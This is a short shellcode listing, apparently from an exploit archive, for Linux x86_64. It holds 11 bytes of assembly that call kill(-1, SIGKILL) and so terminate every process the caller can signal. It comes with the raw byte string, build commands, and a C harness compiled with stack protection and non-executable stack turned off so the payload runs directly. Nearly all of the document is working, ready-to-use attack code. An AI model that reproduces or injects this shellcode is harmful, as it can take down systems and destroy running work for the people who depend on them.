/* ;Title: Linux/x86_64 - KILL_ALL ;Author: Aron Mihaljevic ;Architecture: Linux x86_64 ;Shellcode Length: 11 bytes ========DESCTIPTION=========================== #include #include int kill(pid_t pid, int sig); ===COMPILATION AND EXECUTION================== #nasm -f elf64 kill.nasm -o kill.o #ld kill.o -o kill =================SHELLCODE================ global _start section .text _start: push 0x3e ; sys kill pop rax push -1 ; pid pop rdi push 0x9 ; sig kill pop rsi syscall ====================FOR C Compile=========================== # gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing */ #include #include unsigned char code[] = \ "\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05"; main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); }